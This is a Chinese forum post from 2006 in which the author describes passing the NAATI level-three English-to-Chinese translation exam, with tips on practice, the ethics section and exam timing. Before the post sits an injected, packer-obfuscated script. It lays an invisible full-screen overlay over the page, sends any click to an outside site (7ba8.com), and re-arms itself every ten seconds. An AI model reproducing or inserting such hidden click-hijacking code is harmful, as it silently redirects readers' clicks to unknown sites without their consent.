<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>[color=]本人是今年7月15日在广州考的Naati,英译中,三级笔译。10月1日收到成绩,73.5分,就像做梦一样,以这样一个marginal result 通过了。
[color=]先谈谈翻译的准备。之前上网看关于Naati的考试,发现这方面的内容少之又少,大部分都是在论坛里兜售自己的Naati资料的,或者是远程翻译教学的广告,说什么Naati考试如何如何难,不参加他们的培训肯定过不了。我原来也动了心,想着参加一个培训可能比较靠得住,但一看培训费,就马上打消了这个念头!
[color=]我大学学的是英语语言文学专业,有一定基础。但毕业后工作了7年多,完全与英语无关,所以心里也不是很有底气。我在书店里买了国内三级翻译的一套练习题,其难度和Naati大约一致,只是文章长度可能没有严格控制在250字左右,但配有标准答案,对翻译水平的提高还是有一定帮助的。做练习的时候,最重要的就是要掐时间。每次练习都要象考试那样,1小时做1篇,要适应翻译时紧张的心理。其次就是对照答案查找不足。我发现我的不足就在于词汇方面,所以我当时又找了一本词汇书来看,刚好这本书上有许多例句都配有相当高水平的翻译,所以就一举两得!
[color=]复习到后期,我已经做完了我买的那套练习题,于是我就在网络上搜寻一些双语新闻来翻译,然后对照网上的翻译看看自己有什么不足。网上的资讯比较多,文章涉及各个方面,有时政、气候、科研、宗教等等,这样可以大大弥补只做一本参考书带来的不足,我个人觉得是大有裨益的。
[color=]其次谈谈职业道德的准备。职业道德没有什么捷径可走,一个字——背!我把职业道德的那本小册子都快翻烂了,前前后后背了好多遍。还有就是不仅要背职业道德的正文部分,我连附件里的十几个examples都背了,因为我决定用英文回答职业道德的题目,要象example一样回答才比较地道,费事到时再去组织语言,不如直接背下来省事!用中文回答也可以,但是这样的话要把整本职业道德的书自己翻成中文,我怕自己翻译得不够准确,于是还是选择用英文作答。还有一点就是一定要默写。光背诵还不够,因为有些单词你可能会拼错,有些冠词可能会用错(the, a, an等),还有单复数问题等等,这些都是通过默写才能发现的问题。
[color=]再谈谈考试的经过。广州这边考试环境不错,我考试那个周末只有我一个人考,自己一间小房(透明的),监考老师态度非常好,指导我填写试卷前一堆表格,计时开始就出去了,每一阶段时间到才进来,完全不会干扰我考试。我之前看过一个Natti的考经,说reading time的时候要通读三篇文章,查生词,根据难易取舍,决定做哪2篇。考试正式开始的时候,先花30分钟做完职业道德,然后2个小时专心做翻译,争取1小时1篇,还有少许时间检查。我在考试中就是完全按照这个攻略来做的,结果证明,至少这个办法非常适合我!我本来还在犹豫是先做职业道德还是先翻译,后来题目拿在手里,立刻决定先做职业道德。毕竟职业道德容易一些,做完以后心里踏实不少,做翻译的时候没有什么后顾之忧。我那天考的三篇文章分别是关于银行顾客的隐私、关于疟疾、关于政府采购。医学类的最容易,因为没什么太难的句子,隐私的那篇涉及法律,最难,一看就马上放弃了!所以我选了关于疟疾的和讲政府采购的2篇。第一篇我翻得出奇的顺手,半个小时就搞定了,且没有什么疑难的长句。第二篇时间长一些,1个钟头多,而且有1个长句非常不确定!但是我最后还是留了20分钟检查,真的还很管用!我以前做练习的时候试过翻译时漏掉整个小自然段没翻的情况,考试时没有这么粗心,但也查出一个数字翻译错误(billion,million这些词我总是数不清应该是多少个零),并对一些翻译琢磨一下又做了修改。
[color=]最后谈谈应该注意的一点。因为Naati考试2篇文章各占45分,职业道德占10分,所以2篇都要认真考好,至少每篇要得31-32分,职业道德拿6-8分,才能达到分数线70分!希望我的心得体会对想考Naati的朋友们有帮助。
[此贴子已经被作者于2006-10-19 17:05:46编辑过]
联系人:
联系方式: |
|